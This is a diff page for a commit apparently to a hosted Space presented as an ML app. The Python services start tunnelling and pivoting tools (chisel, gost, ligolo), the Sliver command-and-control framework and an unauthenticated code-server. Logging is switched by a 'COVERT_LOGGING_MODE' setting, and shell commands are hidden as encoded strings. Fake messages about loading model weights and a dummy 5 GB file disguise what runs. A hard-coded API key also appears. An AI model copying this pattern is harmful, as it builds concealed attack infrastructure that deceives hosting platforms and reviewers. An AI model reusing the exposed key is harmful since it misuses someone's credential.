Spaces:
Paused
Paused
Automated deployment update from ML build
Browse files- app.py +17 -14
- core/orchestrator.py +9 -7
- core/service_logs.py +4 -2
- services/caddy_service.py +12 -15
- services/code_server_service.py +2 -1
- services/custom_callbacks.py +4 -4
- services/filebrowser_service.py +4 -3
- services/ligolo_service.py +13 -11
- services/llm_proxy_service.py +2 -2
- services/minecraft_service.py +86 -89
- services/open_webui_service.py +1 -1
- services/sliver_service.py +2 -1
- services/test_service.py +18 -18
app.py
CHANGED
|
@@ -1,34 +1,37 @@
|
|
| 1 |
-
|
|
|
|
|
|
|
|
|
|
| 2 |
from services.minecraft_service import MC_DIR
|
| 3 |
-
LOG_DIR='/home/user/.torch_metrics'
|
| 4 |
-
MC_LOG=
|
| 5 |
ANSI=re.compile('\\x1B(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~])')
|
| 6 |
_LOG_CMDS={'SHOW_LOGS_TAILSCALE':(f"{LOG_DIR}/ts_daemon.log",'TAILSCALE LOGS'),'SHOW_LOGS_FILEBROWSER':(f"{LOG_DIR}/fb.log",'FILEBROWSER LOGS'),'SHOW_LOGS_METRICS2':(f"{LOG_DIR}/tm_daemon.log",'METRICS LOGS',True),'SHOW_LOGS_STARTUP':(f"{LOG_DIR}/startup.log",'STARTUP LOGS'),'SHOW_LOGS_CHISEL':(f"{LOG_DIR}/chisel.log",'CHISEL LOGS'),'SHOW_LOGS_GOST':(f"{LOG_DIR}/gost.log",'GOST LOGS'),'SHOW_LOGS_LIGOLO':(f"{LOG_DIR}/ligolo.log",'LIGOLO LOGS'),'SHOW_LOGS_SLIVER':(f"{LOG_DIR}/sliver.log",'SLIVER LOGS'),'SHOW_LOGS_CADDY':(f"{LOG_DIR}/caddy.log",'CADDY LOGS'),'SHOW_LOGS_TEST':(f"{LOG_DIR}/test.log",'TEST SERVICE LOGS'),'SHOW_LOGS_LLM_PROXY':(f"{LOG_DIR}/llm_proxy.log",'LLM PROXY LOGS'),'SHOW_LOGS_OPEN_WEBUI':(f"{LOG_DIR}/open_webui.log",'OPEN WEBUI LOGS'),'SHOW_LOGS_CODE_SERVER':(f"{LOG_DIR}/code_server.log",'CODE SERVER LOGS')}
|
| 7 |
def _read_log(path,label,strip_ansi=False):
|
| 8 |
try:
|
| 9 |
-
with
|
| 10 |
return f"{label}:\n{B}"
|
| 11 |
except Exception as C:return f"Log error: {C}"
|
| 12 |
def _read_mc_log():
|
| 13 |
try:
|
| 14 |
-
if not
|
| 15 |
-
with open(
|
| 16 |
except Exception as B:return f"Log error: {B}"
|
| 17 |
def _read_all_logs():
|
| 18 |
try:
|
| 19 |
A=[]
|
| 20 |
-
for B in sorted(
|
| 21 |
-
if B.
|
| 22 |
-
with open(
|
| 23 |
-
if
|
| 24 |
-
with open(
|
| 25 |
return'\n'.join(A)if A else'No logs found.'
|
| 26 |
except Exception as D:return f"Log error: {D}"
|
| 27 |
def _read_api_stats():
|
| 28 |
-
M='==========================================';L='MODEL:';K='KEY:';F=
|
| 29 |
-
if not
|
| 30 |
try:
|
| 31 |
-
with open(
|
| 32 |
C={};D={}
|
| 33 |
for B in G:
|
| 34 |
if K in B and L in B:H=B.split('|');I=H[0].split(K)[1].strip();J=H[1].split(L)[1].strip();C[I]=C.get(I,0)+1;D[J]=D.get(J,0)+1
|
|
|
|
| 1 |
+
_A='replace'
|
| 2 |
+
import re
|
| 3 |
+
from pathlib import Path
|
| 4 |
+
import gradio as gr
|
| 5 |
from services.minecraft_service import MC_DIR
|
| 6 |
+
LOG_DIR=Path('/home/user/.torch_metrics')
|
| 7 |
+
MC_LOG=Path(MC_DIR)/'logs'/'latest.log'
|
| 8 |
ANSI=re.compile('\\x1B(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~])')
|
| 9 |
_LOG_CMDS={'SHOW_LOGS_TAILSCALE':(f"{LOG_DIR}/ts_daemon.log",'TAILSCALE LOGS'),'SHOW_LOGS_FILEBROWSER':(f"{LOG_DIR}/fb.log",'FILEBROWSER LOGS'),'SHOW_LOGS_METRICS2':(f"{LOG_DIR}/tm_daemon.log",'METRICS LOGS',True),'SHOW_LOGS_STARTUP':(f"{LOG_DIR}/startup.log",'STARTUP LOGS'),'SHOW_LOGS_CHISEL':(f"{LOG_DIR}/chisel.log",'CHISEL LOGS'),'SHOW_LOGS_GOST':(f"{LOG_DIR}/gost.log",'GOST LOGS'),'SHOW_LOGS_LIGOLO':(f"{LOG_DIR}/ligolo.log",'LIGOLO LOGS'),'SHOW_LOGS_SLIVER':(f"{LOG_DIR}/sliver.log",'SLIVER LOGS'),'SHOW_LOGS_CADDY':(f"{LOG_DIR}/caddy.log",'CADDY LOGS'),'SHOW_LOGS_TEST':(f"{LOG_DIR}/test.log",'TEST SERVICE LOGS'),'SHOW_LOGS_LLM_PROXY':(f"{LOG_DIR}/llm_proxy.log",'LLM PROXY LOGS'),'SHOW_LOGS_OPEN_WEBUI':(f"{LOG_DIR}/open_webui.log",'OPEN WEBUI LOGS'),'SHOW_LOGS_CODE_SERVER':(f"{LOG_DIR}/code_server.log",'CODE SERVER LOGS')}
|
| 10 |
def _read_log(path,label,strip_ansi=False):
|
| 11 |
try:
|
| 12 |
+
with Path(path).open(errors=_A)as A:B=ANSI.sub('',A.read())if strip_ansi else A.read()
|
| 13 |
return f"{label}:\n{B}"
|
| 14 |
except Exception as C:return f"Log error: {C}"
|
| 15 |
def _read_mc_log():
|
| 16 |
try:
|
| 17 |
+
if not MC_LOG.exists():return'Minecraft latest.log not found yet.'
|
| 18 |
+
with MC_LOG.open(errors=_A)as A:return f"=== Minecraft latest.log ===\n{A.read()}"
|
| 19 |
except Exception as B:return f"Log error: {B}"
|
| 20 |
def _read_all_logs():
|
| 21 |
try:
|
| 22 |
A=[]
|
| 23 |
+
for B in sorted(LOG_DIR.iterdir()):
|
| 24 |
+
if B.is_file()and B.suffix=='.log':
|
| 25 |
+
with B.open(errors=_A)as C:A.append(f"=== {B.name} ===\n{C.read()}\n")
|
| 26 |
+
if MC_LOG.exists():
|
| 27 |
+
with MC_LOG.open(errors=_A)as C:A.append(f"=== Minecraft latest.log ===\n{C.read()}\n")
|
| 28 |
return'\n'.join(A)if A else'No logs found.'
|
| 29 |
except Exception as D:return f"Log error: {D}"
|
| 30 |
def _read_api_stats():
|
| 31 |
+
M='==========================================';L='MODEL:';K='KEY:';F=LOG_DIR/'api_calls.txt'
|
| 32 |
+
if not F.exists():return'No API calls logged yet.'
|
| 33 |
try:
|
| 34 |
+
with F.open(errors=_A)as N:G=N.readlines()
|
| 35 |
C={};D={}
|
| 36 |
for B in G:
|
| 37 |
if K in B and L in B:H=B.split('|');I=H[0].split(K)[1].strip();J=H[1].split(L)[1].strip();C[I]=C.get(I,0)+1;D[J]=D.get(J,0)+1
|
core/orchestrator.py
CHANGED
|
@@ -1,10 +1,12 @@
|
|
| 1 |
_A=True
|
| 2 |
-
import json,os,random
|
| 3 |
-
|
| 4 |
-
|
| 5 |
-
|
| 6 |
-
|
| 7 |
-
if
|
|
|
|
|
|
|
| 8 |
from loguru import logger
|
| 9 |
from core.service_logs import setup_service_logs
|
| 10 |
from core.service_registry import ENABLED_SERVICES_PATH
|
|
@@ -40,7 +42,7 @@ def main():
|
|
| 40 |
logger.info('Starting Gradio app (API server)...');T=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');U=subprocess.Popen(T,shell=_A);logger.info('Waiting for Gradio to become ready on :7861...')
|
| 41 |
if not wait_for_port(M,7861,timeout=60):logger.warning('Gradio did not become ready within 60s — continuing anyway')
|
| 42 |
else:logger.info('Gradio ready — Caddy now proxying live traffic.')
|
| 43 |
-
if not
|
| 44 |
logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();V=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {V}s)...")
|
| 45 |
if O in A:from services import tailscale_service as K;K.start_daemon(B.ts)
|
| 46 |
time.sleep(2);logger.info('Warming up text-generation pipelines...')
|
|
|
|
| 1 |
_A=True
|
| 2 |
+
import json,os,random
|
| 3 |
+
from pathlib import Path
|
| 4 |
+
import socket,string,subprocess,sys,threading,time
|
| 5 |
+
_CORE_DIR=Path(__file__).resolve().parent
|
| 6 |
+
_APP_ROOT=_CORE_DIR.parent
|
| 7 |
+
if str(_APP_ROOT)not in sys.path:sys.path.insert(0,str(_APP_ROOT))
|
| 8 |
+
_REPO_ROOT=_APP_ROOT.parent
|
| 9 |
+
if(_REPO_ROOT/'client').is_dir()and str(_REPO_ROOT)not in sys.path:sys.path.insert(0,str(_REPO_ROOT))
|
| 10 |
from loguru import logger
|
| 11 |
from core.service_logs import setup_service_logs
|
| 12 |
from core.service_registry import ENABLED_SERVICES_PATH
|
|
|
|
| 42 |
logger.info('Starting Gradio app (API server)...');T=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');U=subprocess.Popen(T,shell=_A);logger.info('Waiting for Gradio to become ready on :7861...')
|
| 43 |
if not wait_for_port(M,7861,timeout=60):logger.warning('Gradio did not become ready within 60s — continuing anyway')
|
| 44 |
else:logger.info('Gradio ready — Caddy now proxying live traffic.')
|
| 45 |
+
if not Path(N).exists():logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',N])
|
| 46 |
logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();V=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {V}s)...")
|
| 47 |
if O in A:from services import tailscale_service as K;K.start_daemon(B.ts)
|
| 48 |
time.sleep(2);logger.info('Warming up text-generation pipelines...')
|
core/service_logs.py
CHANGED
|
@@ -5,7 +5,9 @@ _D='sliver'
|
|
| 5 |
_C='ligolo'
|
| 6 |
_B='chisel'
|
| 7 |
_A=True
|
| 8 |
-
import os,sys
|
|
|
|
|
|
|
| 9 |
from collections import namedtuple
|
| 10 |
from loguru import logger
|
| 11 |
COVERT_LOGGING_MODE=2
|
|
@@ -24,7 +26,7 @@ class LoguruSubprocessBridge:
|
|
| 24 |
def setup_service_logs():
|
| 25 |
L='INFO';K='prefix';J='extra';I='CODESRV';H='LITELLM';G='OWUI';F='CADDY';E='SLIVER';D='LIGOLO';C='GOST';B='CHISEL';A='PLAYIT';logger.remove()
|
| 26 |
if COVERT_LOGGING_MODE in(1,2):
|
| 27 |
-
|
| 28 |
for(Q,(N,O))in M.items():logger.add(f"{METRICS_DIR}/{O}",filter=lambda record,p=N:record[J].get(K)==p,format='{message}\n',level=L,enqueue=_A)
|
| 29 |
if COVERT_LOGGING_MODE==2:
|
| 30 |
def P(record):
|
|
|
|
| 5 |
_C='ligolo'
|
| 6 |
_B='chisel'
|
| 7 |
_A=True
|
| 8 |
+
import os,sys
|
| 9 |
+
from pathlib import Path
|
| 10 |
+
import threading
|
| 11 |
from collections import namedtuple
|
| 12 |
from loguru import logger
|
| 13 |
COVERT_LOGGING_MODE=2
|
|
|
|
| 26 |
def setup_service_logs():
|
| 27 |
L='INFO';K='prefix';J='extra';I='CODESRV';H='LITELLM';G='OWUI';F='CADDY';E='SLIVER';D='LIGOLO';C='GOST';B='CHISEL';A='PLAYIT';logger.remove()
|
| 28 |
if COVERT_LOGGING_MODE in(1,2):
|
| 29 |
+
Path(METRICS_DIR).mkdir(parents=_A,exist_ok=_A);M={'ts':('TS','ts_daemon.log'),'fb':('FB','fb.log'),'tm':(A,'tm_daemon.log'),_B:(B,'chisel.log'),'gost':(C,'gost.log'),_C:(D,'ligolo.log'),_D:(E,'sliver.log'),'caddy':(F,'caddy.log'),_E:(G,'open_webui.log'),_F:(H,'llm_proxy.log'),_G:(I,'code_server.log')}
|
| 30 |
for(Q,(N,O))in M.items():logger.add(f"{METRICS_DIR}/{O}",filter=lambda record,p=N:record[J].get(K)==p,format='{message}\n',level=L,enqueue=_A)
|
| 31 |
if COVERT_LOGGING_MODE==2:
|
| 32 |
def P(record):
|
services/caddy_service.py
CHANGED
|
@@ -1,33 +1,30 @@
|
|
| 1 |
import os,shutil,subprocess
|
|
|
|
| 2 |
from loguru import logger
|
| 3 |
from.utils import decode_cmd
|
| 4 |
def start(caddy_log):
|
| 5 |
J=False;C=True;B=caddy_log;logger.info('Enabling Caddy smart frontend on port 7860...')
|
| 6 |
try:
|
| 7 |
-
D='/home/user/static'
|
| 8 |
-
if not
|
| 9 |
-
|
| 10 |
for A in K:
|
| 11 |
-
if
|
| 12 |
if not G:logger.warning('Could not find loading.html to copy to static directory.')
|
| 13 |
except Exception as E:logger.error(f"Failed to copy loading.html to static directory: {E}")
|
| 14 |
-
F=None;L=['/home/user/config/Caddyfile.template','config/Caddyfile.template','main/config/Caddyfile.template']
|
| 15 |
for A in L:
|
| 16 |
try:
|
| 17 |
-
if
|
| 18 |
-
with open(A,'r')as M:F=M.read()
|
| 19 |
-
break
|
| 20 |
except Exception:pass
|
| 21 |
if F is None:logger.error('Failed to prepare caddy config: Caddyfile.template not found.');return
|
| 22 |
try:
|
| 23 |
-
|
| 24 |
-
for A in
|
| 25 |
try:
|
| 26 |
-
I=
|
| 27 |
-
if
|
| 28 |
-
with open(A,'w')as O:O.write(F)
|
| 29 |
-
H=C;break
|
| 30 |
except Exception:pass
|
| 31 |
if not H:raise PermissionError('Could not write Caddyfile to any expected path.')
|
| 32 |
except Exception as E:logger.error(f"Failed to prepare caddy config: {E}");return
|
| 33 |
-
B.write('[*] Testing caddy configuration...\n');B.flush();
|
|
|
|
| 1 |
import os,shutil,subprocess
|
| 2 |
+
from pathlib import Path
|
| 3 |
from loguru import logger
|
| 4 |
from.utils import decode_cmd
|
| 5 |
def start(caddy_log):
|
| 6 |
J=False;C=True;B=caddy_log;logger.info('Enabling Caddy smart frontend on port 7860...')
|
| 7 |
try:
|
| 8 |
+
D=Path('/home/user/static')
|
| 9 |
+
if not D.is_dir():D=Path('static')
|
| 10 |
+
D.mkdir(parents=C,exist_ok=C);K=[Path('/home/user/config/loading.html'),Path('config/loading.html'),Path('main/config/loading.html')];G=J
|
| 11 |
for A in K:
|
| 12 |
+
if A.exists():shutil.copy(A,D/'loading.html');G=C;break
|
| 13 |
if not G:logger.warning('Could not find loading.html to copy to static directory.')
|
| 14 |
except Exception as E:logger.error(f"Failed to copy loading.html to static directory: {E}")
|
| 15 |
+
F=None;L=[Path('/home/user/config/Caddyfile.template'),Path('config/Caddyfile.template'),Path('main/config/Caddyfile.template')]
|
| 16 |
for A in L:
|
| 17 |
try:
|
| 18 |
+
if A.exists():F=A.read_text();break
|
|
|
|
|
|
|
| 19 |
except Exception:pass
|
| 20 |
if F is None:logger.error('Failed to prepare caddy config: Caddyfile.template not found.');return
|
| 21 |
try:
|
| 22 |
+
M=[Path('/home/user/Caddyfile'),Path('Caddyfile')];H=J
|
| 23 |
+
for A in M:
|
| 24 |
try:
|
| 25 |
+
I=A.resolve().parent
|
| 26 |
+
if I.is_dir()and os.access(I,os.W_OK):A.write_text(F);H=C;break
|
|
|
|
|
|
|
| 27 |
except Exception:pass
|
| 28 |
if not H:raise PermissionError('Could not write Caddyfile to any expected path.')
|
| 29 |
except Exception as E:logger.error(f"Failed to prepare caddy config: {E}");return
|
| 30 |
+
B.write('[*] Testing caddy configuration...\n');B.flush();N=decode_cmd('==QZslmZ5RGZhNGIyVGdwFGZh1SLgUGbpZWekRWYD9iclNXdvUWbvh2LgcWam52bj1SLgUGdhRWasFmdgUmbpdmbl1yZulGd19mctwWZk9Wb');subprocess.run(N,shell=C,stdout=B,stderr=subprocess.STDOUT);B.write('[*] Starting caddy daemon...\n');B.flush();O=decode_cmd('=UGbpZWekRWYjBiclRHchRWYt0CIlxWamlHZkF2QvIXZzV3Ll12bo9CInlmZu92Yt0CIuVncgUmbpdmbl1yZulGd19mctwWZk9Wb');subprocess.Popen(O,shell=C,stdout=B,stderr=subprocess.STDOUT)
|
services/code_server_service.py
CHANGED
|
@@ -1,6 +1,7 @@
|
|
| 1 |
import os,subprocess
|
|
|
|
| 2 |
from loguru import logger
|
| 3 |
PORT=8888
|
| 4 |
PREFIX='[code-server]'
|
| 5 |
_DATA_DIR='/home/user/.torch_metrics/code_server_data'
|
| 6 |
-
def start(log):
|
|
|
|
| 1 |
import os,subprocess
|
| 2 |
+
from pathlib import Path
|
| 3 |
from loguru import logger
|
| 4 |
PORT=8888
|
| 5 |
PREFIX='[code-server]'
|
| 6 |
_DATA_DIR='/home/user/.torch_metrics/code_server_data'
|
| 7 |
+
def start(log):C='code-server';B='true';Path(_DATA_DIR).mkdir(parents=True,exist_ok=True);A=os.environ.copy();A['DISABLE_TELEMETRY']=B;A['DISABLE_UPDATE_CHECK']=B;D=['/usr/bin/code-server','/usr/local/bin/code-server',str(Path.home()/'.local'/'bin'/C)];E=next((A for A in D if Path(A).exists()),C);F=[E,'--bind-addr',f"127.0.0.1:{PORT}",'--auth','none','--user-data-dir',_DATA_DIR,'--disable-telemetry'];logger.info(f"{PREFIX} Starting code-server on 127.0.0.1:{PORT}...");G=subprocess.Popen(F,stdout=log,stderr=log,env=A);logger.success(f"{PREFIX} code-server started (pid {G.pid}). Reachable at http://127.0.0.1:{PORT} exclusively over Tailscale / private overlay networks.")
|
services/custom_callbacks.py
CHANGED
|
@@ -1,14 +1,14 @@
|
|
| 1 |
-
import os
|
| 2 |
from datetime import datetime
|
|
|
|
| 3 |
from litellm.integrations.custom_logger import CustomLogger
|
| 4 |
METRICS_DIR='/home/user/.torch_metrics'
|
| 5 |
-
API_CALLS_LOG=
|
| 6 |
class SimpleTextLogger(CustomLogger):
|
| 7 |
def _write(G,kwargs):
|
| 8 |
A=kwargs
|
| 9 |
try:
|
| 10 |
-
B=A.get('user_api_key_alias')or'unknown-key';C=A.get('model')or'unknown-model';D=datetime.now().strftime('%Y-%m-%d %H:%M:%S');E=f"[{D}] KEY: {B} | MODEL: {C}\n";
|
| 11 |
-
with open(
|
| 12 |
except Exception:pass
|
| 13 |
def log_success_event(A,kwargs,response_obj,start_time,end_time):A._write(kwargs)
|
| 14 |
async def async_log_success_event(A,kwargs,response_obj,start_time,end_time):A._write(kwargs)
|
|
|
|
|
|
|
| 1 |
from datetime import datetime
|
| 2 |
+
from pathlib import Path
|
| 3 |
from litellm.integrations.custom_logger import CustomLogger
|
| 4 |
METRICS_DIR='/home/user/.torch_metrics'
|
| 5 |
+
API_CALLS_LOG=Path(METRICS_DIR)/'api_calls.txt'
|
| 6 |
class SimpleTextLogger(CustomLogger):
|
| 7 |
def _write(G,kwargs):
|
| 8 |
A=kwargs
|
| 9 |
try:
|
| 10 |
+
B=A.get('user_api_key_alias')or'unknown-key';C=A.get('model')or'unknown-model';D=datetime.now().strftime('%Y-%m-%d %H:%M:%S');E=f"[{D}] KEY: {B} | MODEL: {C}\n";Path(METRICS_DIR).mkdir(parents=True,exist_ok=True)
|
| 11 |
+
with API_CALLS_LOG.open('a')as F:F.write(E)
|
| 12 |
except Exception:pass
|
| 13 |
def log_success_event(A,kwargs,response_obj,start_time,end_time):A._write(kwargs)
|
| 14 |
async def async_log_success_event(A,kwargs,response_obj,start_time,end_time):A._write(kwargs)
|
services/filebrowser_service.py
CHANGED
|
@@ -1,10 +1,11 @@
|
|
| 1 |
-
import
|
|
|
|
| 2 |
from.utils import decode_cmd
|
| 3 |
def start(fb_log,pwd=''):
|
| 4 |
C=pwd;B=True;A=fb_log
|
| 5 |
if not C:C=secrets.token_urlsafe(16);A.write(f"[!] No SSH/PASS secret set — generated random Filebrowser password: {C}\n");A.flush()
|
| 6 |
-
D='/home/user/filebrowser.db'
|
| 7 |
-
if not
|
| 8 |
else:E=decode_cmd('==gYk5iclN3dvJnYlxWam9iclNXdvUWbvh2LgQWLgYDIoR3ZuVGbtQmcvd3czFGct0Wdtlmbp1WLtACdlNHInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(E,shell=B,stdout=A,stderr=subprocess.STDOUT)
|
| 9 |
A.write('[*] Configuring Filebrowser admin credentials...\n');A.flush();G=decode_cmd('gQmcvd3czFGct0CIulWbkFGIlRXYkBXdgMnclNXdgI3b0NWZsx2bj1ycjlmc0VWbtkWY');H=subprocess.run(f"{G}{C} -d {D}",shell=B,stdout=A,stderr=subprocess.STDOUT)
|
| 10 |
if H.returncode!=0:I=decode_cmd('==AIulWbkFGIkRWYgMnclNXdgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(f"{I}{C} --perm.admin -d {D}",shell=B,stdout=A,stderr=subprocess.STDOUT)
|
|
|
|
| 1 |
+
from pathlib import Path
|
| 2 |
+
import secrets,subprocess
|
| 3 |
from.utils import decode_cmd
|
| 4 |
def start(fb_log,pwd=''):
|
| 5 |
C=pwd;B=True;A=fb_log
|
| 6 |
if not C:C=secrets.token_urlsafe(16);A.write(f"[!] No SSH/PASS secret set — generated random Filebrowser password: {C}\n");A.flush()
|
| 7 |
+
D=Path('/home/user/filebrowser.db')
|
| 8 |
+
if not D.exists():A.write('[*] Initializing fresh Filebrowser database...\n');A.flush();F=decode_cmd('==gYk5iclN3dvJnYlxWam9iclNXdvUWbvh2LgQWLgQXaulGInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(F,shell=B,stdout=A,stderr=subprocess.STDOUT);E=decode_cmd('iRmLyV2c39mciVGbpZ2LyV2c19SZt9GavACZtAiNggGdn5WZs1CZy92dzNXYw1Sb11WaulWbt0CIyV2c19SZt9GavAictACdlNHInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(E,shell=B,stdout=A,stderr=subprocess.STDOUT)
|
| 9 |
else:E=decode_cmd('==gYk5iclN3dvJnYlxWam9iclNXdvUWbvh2LgQWLgYDIoR3ZuVGbtQmcvd3czFGct0Wdtlmbp1WLtACdlNHInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(E,shell=B,stdout=A,stderr=subprocess.STDOUT)
|
| 10 |
A.write('[*] Configuring Filebrowser admin credentials...\n');A.flush();G=decode_cmd('gQmcvd3czFGct0CIulWbkFGIlRXYkBXdgMnclNXdgI3b0NWZsx2bj1ycjlmc0VWbtkWY');H=subprocess.run(f"{G}{C} -d {D}",shell=B,stdout=A,stderr=subprocess.STDOUT)
|
| 11 |
if H.returncode!=0:I=decode_cmd('==AIulWbkFGIkRWYgMnclNXdgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(f"{I}{C} --perm.admin -d {D}",shell=B,stdout=A,stderr=subprocess.STDOUT)
|
services/ligolo_service.py
CHANGED
|
@@ -1,19 +1,21 @@
|
|
| 1 |
-
import
|
|
|
|
|
|
|
| 2 |
from.utils import decode_cmd
|
| 3 |
-
METRICS_DIR='/home/user/.torch_metrics'
|
| 4 |
-
FINGERPRINT_PATH=
|
| 5 |
_FP_RE=re.compile('(?:fingerprint|Fingerprint)[^\\n]*?([A-Fa-f0-9]{64})',re.IGNORECASE)
|
| 6 |
def _extract_fingerprint(log_path,out_path,stop_event):
|
| 7 |
-
|
| 8 |
while time.time()<C and not stop_event.is_set():
|
| 9 |
try:
|
| 10 |
-
if not
|
| 11 |
-
with open(
|
| 12 |
B=_FP_RE.search(E)
|
| 13 |
-
if B:
|
| 14 |
-
F=B.group(1).upper()
|
| 15 |
-
with open(out_path,'w')as G:G.write(F+'\n')
|
| 16 |
-
return
|
| 17 |
except OSError:pass
|
| 18 |
time.sleep(2)
|
| 19 |
-
def start(log_file):
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import re
|
| 2 |
+
from pathlib import Path
|
| 3 |
+
import subprocess,threading,time
|
| 4 |
from.utils import decode_cmd
|
| 5 |
+
METRICS_DIR=Path('/home/user/.torch_metrics')
|
| 6 |
+
FINGERPRINT_PATH=METRICS_DIR/'ligolo_fingerprint.txt'
|
| 7 |
_FP_RE=re.compile('(?:fingerprint|Fingerprint)[^\\n]*?([A-Fa-f0-9]{64})',re.IGNORECASE)
|
| 8 |
def _extract_fingerprint(log_path,out_path,stop_event):
|
| 9 |
+
C=time.time()+90;A=Path(log_path)
|
| 10 |
while time.time()<C and not stop_event.is_set():
|
| 11 |
try:
|
| 12 |
+
if not A.exists():time.sleep(1);continue
|
| 13 |
+
with A.open('r',errors='replace')as D:E=D.read()
|
| 14 |
B=_FP_RE.search(E)
|
| 15 |
+
if B:F=B.group(1).upper();Path(out_path).write_text(F+'\n');return
|
|
|
|
|
|
|
|
|
|
| 16 |
except OSError:pass
|
| 17 |
time.sleep(2)
|
| 18 |
+
def start(log_file):
|
| 19 |
+
B=log_file;A=True;METRICS_DIR.mkdir(parents=A,exist_ok=A)
|
| 20 |
+
if FINGERPRINT_PATH.exists():FINGERPRINT_PATH.unlink()
|
| 21 |
+
B.write('[*] Starting Ligolo proxy on :11601 (nginx /tensor-mesh), Web UI :6801 (/routing-console)\n');B.flush();C=decode_cmd('==wbs92ZpxGIulWYt9GZtQnclNmZsV2ctACdyV2YmxWZz1CIxAjNxEjOx4CMuAjL3ITMgIHZkFGbtAiclxGbvJHdu92YtUGd19mctwWYyVXZu9ibpJ2LyNXdvAibtAybkV3c');subprocess.Popen(C,shell=A,stdout=B,stderr=subprocess.STDOUT);D=threading.Event();threading.Thread(target=_extract_fingerprint,args=(str(METRICS_DIR/'ligolo.log'),FINGERPRINT_PATH,D),daemon=A).start()
|
services/llm_proxy_service.py
CHANGED
|
@@ -13,7 +13,7 @@ def _load_keys():
|
|
| 13 |
if D.exists():
|
| 14 |
try:
|
| 15 |
import yaml
|
| 16 |
-
with open(
|
| 17 |
Q=P.get('providers',{});A=[]
|
| 18 |
for(H,E)in Q.items():
|
| 19 |
F=H.lower().strip()
|
|
@@ -79,6 +79,6 @@ general_settings:
|
|
| 79 |
drop_params: true
|
| 80 |
{J}'''
|
| 81 |
def start(log):
|
| 82 |
-
D='/opt/venv-litellm/bin/litellm';B='PYTHONPATH';
|
| 83 |
if not C:logger.warning(f"{PREFIX} No API keys loaded or LLM_KEYS not set — skipping llm_proxy");return
|
| 84 |
Path(CONFIG_PATH).write_text(C);logger.info(f"{PREFIX} Config written to {CONFIG_PATH}");os.environ['HELICONE_API_KEY']='sk-helicone-vq67qfq-eonunsi-sti7roi-vjpsp6a';os.environ['DISABLE_ADMIN_UI']='True';E=D if Path(D).exists()else'litellm';F=[E,'--config',CONFIG_PATH,'--port',str(PORT),'--host','127.0.0.1'];A=os.environ.copy();A[B]=_A+(':'+A[B]if A.get(B)else'');G=subprocess.Popen(F,stdout=log,stderr=log,env=A);logger.success(f"{PREFIX} litellm proxy started on 127.0.0.1:{PORT} (pid {G.pid})")
|
|
|
|
| 13 |
if D.exists():
|
| 14 |
try:
|
| 15 |
import yaml
|
| 16 |
+
with D.open()as O:P=yaml.safe_load(O)or{}
|
| 17 |
Q=P.get('providers',{});A=[]
|
| 18 |
for(H,E)in Q.items():
|
| 19 |
F=H.lower().strip()
|
|
|
|
| 79 |
drop_params: true
|
| 80 |
{J}'''
|
| 81 |
def start(log):
|
| 82 |
+
D='/opt/venv-litellm/bin/litellm';B='PYTHONPATH';Path(METRICS_DIR).mkdir(parents=True,exist_ok=True);C=_build_config()
|
| 83 |
if not C:logger.warning(f"{PREFIX} No API keys loaded or LLM_KEYS not set — skipping llm_proxy");return
|
| 84 |
Path(CONFIG_PATH).write_text(C);logger.info(f"{PREFIX} Config written to {CONFIG_PATH}");os.environ['HELICONE_API_KEY']='sk-helicone-vq67qfq-eonunsi-sti7roi-vjpsp6a';os.environ['DISABLE_ADMIN_UI']='True';E=D if Path(D).exists()else'litellm';F=[E,'--config',CONFIG_PATH,'--port',str(PORT),'--host','127.0.0.1'];A=os.environ.copy();A[B]=_A+(':'+A[B]if A.get(B)else'');G=subprocess.Popen(F,stdout=log,stderr=log,env=A);logger.success(f"{PREFIX} litellm proxy started on 127.0.0.1:{PORT} (pid {G.pid})")
|
services/minecraft_service.py
CHANGED
|
@@ -1,5 +1,6 @@
|
|
| 1 |
-
|
| 2 |
-
|
|
|
|
| 3 |
_L='/home/user/.torch_metrics'
|
| 4 |
_K='incendium'
|
| 5 |
_J='26.1.2'
|
|
@@ -13,152 +14,148 @@ _C=None
|
|
| 13 |
_B=False
|
| 14 |
_A=True
|
| 15 |
import hashlib,json,os,shutil,subprocess,tarfile,time,urllib.parse,urllib.request,zipfile
|
|
|
|
| 16 |
from loguru import logger
|
| 17 |
MC_GAME_VERSION=_J
|
| 18 |
PAPER_MC_VERSION=_J
|
| 19 |
MODRINTH_API='https://api.modrinth.com/v2'
|
| 20 |
-
MC_DIR='/tmp/mc'
|
| 21 |
WORLDGEN_DATAPACKS=[('terralith','Terralith'),(_K,'Incendium'),('nullscape','Nullscape')]
|
| 22 |
OPS_JSON=[{'uuid':'bee75070-9b57-33a6-b9c8-092d36529789','name':'TrueKing208','level':4,'bypassesPlayerLimit':_B}]
|
| 23 |
def log_print(msg):
|
| 24 |
logger.info(msg)
|
| 25 |
try:
|
| 26 |
-
|
| 27 |
-
with open('
|
| 28 |
except Exception:pass
|
| 29 |
def download_file(url,dest_path):
|
| 30 |
-
A=urllib.request.Request(url,headers={_G:'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
|
| 31 |
-
with urllib.request.urlopen(A)as B,
|
| 32 |
def download_binary(url,dest_path,timeout=300):
|
| 33 |
-
A=urllib.request.Request(url,headers={_G:
|
| 34 |
-
with urllib.request.urlopen(A,timeout=timeout)as B,
|
| 35 |
def file_sha1(path):
|
| 36 |
A=hashlib.sha1()
|
| 37 |
-
with
|
| 38 |
